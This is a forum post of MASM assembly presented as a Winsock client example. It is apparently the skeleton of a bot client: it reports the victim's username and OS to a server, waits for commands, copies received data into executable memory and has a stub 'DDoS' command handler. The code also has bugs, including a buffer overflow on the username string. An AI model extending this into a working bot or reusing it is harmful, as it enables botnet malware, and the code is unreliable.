[masm] winsock client example 12-02-2014, 06:54 PM
#1
Code:
; Winsock Client Example
; Coded by dopamine for vsec.co
.386
.model flat, stdcall
option casemap: none
include ws2_32.inc
include windows.inc
include user32.inc
include kernel32.inc
include masm32.inc
include advapi32.inc
includelib kernel32.lib
includelib user32.lib
includelib ws2_32.lib
includelib masm32.lib
includelib advapi32.lib
.data
szRemoteHost db "127.0.0.1", 0
iRemotePort dd 81
szConnected db "Connected!", 0
szErrorSending db "Sending error!", 0
RemoteAddr sockaddr_in <>
szIdent db "1.0.0.0|%s|%s|%s", 0
szStatus db "Idle...", 0
szOS db "Windows 7", 0
szUsername db "Admin", 0
szDdosPacket db "Ddos packet", 0
.data?
wsaData WSADATA <>
hClient dd ?
.code
GetPCUsername proc pUsername: DWORD
Local dwBufferSize: DWORD
mov dwBufferSize, 256
invoke GetUserName, pUsername, addr dwBufferSize
invoke lstrlen, pUsername
ret
GetPCUsername endp
SendPacket proc bPacket: BYTE, pBuffer: DWORD
Local pData[256]: BYTE
invoke RtlZeroMemory, addr pData, 256 ;Init memory
invoke lstrcat, addr pData, addr bPacket ;Append Packet_ID to Packet
invoke lstrcat, addr pData, pBuffer ;Append Buffer to Packet
invoke lstrlen, addr pData ;Get length of Packet
invoke send, hClient, addr pData, eax, 0 ;Send packet to server
invoke RtlZeroMemory, addr pData, 256 ;Clear memory
ret
SendPacket endp
ConnectToServer proc
mov RemoteAddr.sin_family, AF_INET
invoke htons, iRemotePort
mov RemoteAddr.sin_port, ax
invoke inet_addr, addr szRemoteHost
mov RemoteAddr.sin_addr, eax
invoke connect, hClient, addr RemoteAddr, sizeof RemoteAddr
ret
ConnectToServer endp
Send_Ident proc
Local pBuffer[256]: BYTE
invoke RtlZeroMemory, addr pBuffer, 256
invoke GetPCUsername, addr szUsername
invoke wsprintf, addr pBuffer, addr szIdent, addr szStatus, addr szUsername, addr szOS
invoke SendPacket, 1, addr pBuffer
invoke RtlZeroMemory, addr pBuffer, 256
ret
Send_Ident endp
Handle_Data proc bPacket: BYTE, pData: DWORD
cmp byte ptr [bPacket], 1
je handle_ddos
jne finish
handle_ddos:
invoke MessageBox, 0, addr szDdosPacket, addr szDdosPacket, 0
jmp finish
finish:
ret
Handle_Data endp
ReceiveData proc
Local pBuffer[8192]: BYTE
Local dwRead: DWORD
Local bPacket: BYTE
Local pArguments: DWORD
invoke RtlZeroMemory, addr pBuffer, 8192
receive:
invoke recv, hClient, addr pBuffer, sizeof pBuffer, 0
cmp eax, 0
je disconnect
cmp eax, SOCKET_ERROR
je disconnect
handle_data:
mov dwRead, eax ;Move readed amount of data in dwRead
invoke RtlMoveMemory, addr bPacket, addr pBuffer, 1
mov eax, dwRead
dec eax
push eax
invoke VirtualAlloc, 0, eax, MEM_COMMIT, PAGE_EXECUTE_READWRITE
mov pArguments, eax
pop eax
invoke RtlMoveMemory, pArguments, addr pBuffer[1], eax
invoke Handle_Data, bPacket, pArguments
invoke RtlZeroMemory, addr pBuffer, 8192
jmp receive
disconnect:
ret
ReceiveData endp
start:
invoke WSAStartup, 101h, addr wsaData
cmp eax, eax
jz connect_to_server
xor eax, eax ; set eax to 0
invoke ExitProcess, eax; ExitProcess(0)
connected_to_server:
invoke MessageBox, NULL, addr szConnected, addr szConnected, NULL
invoke Send_Ident
invoke ReceiveData
invoke closesocket, hClient
jmp connect_to_server
connect_to_server:
invoke MessageBox, NULL, addr szRemoteHost, addr szRemoteHost, NULL
invoke socket, AF_INET, SOCK_STREAM, IPPROTO_TCP ;create socket
cmp eax, SOCKET_ERROR ; check if created successfully
je connect_to_server; Failed. Try again
mov hClient, eax
invoke ConnectToServer
cmp eax, 0
je connected_to_server
invoke closesocket, hClient
jmp connect_to_server
end start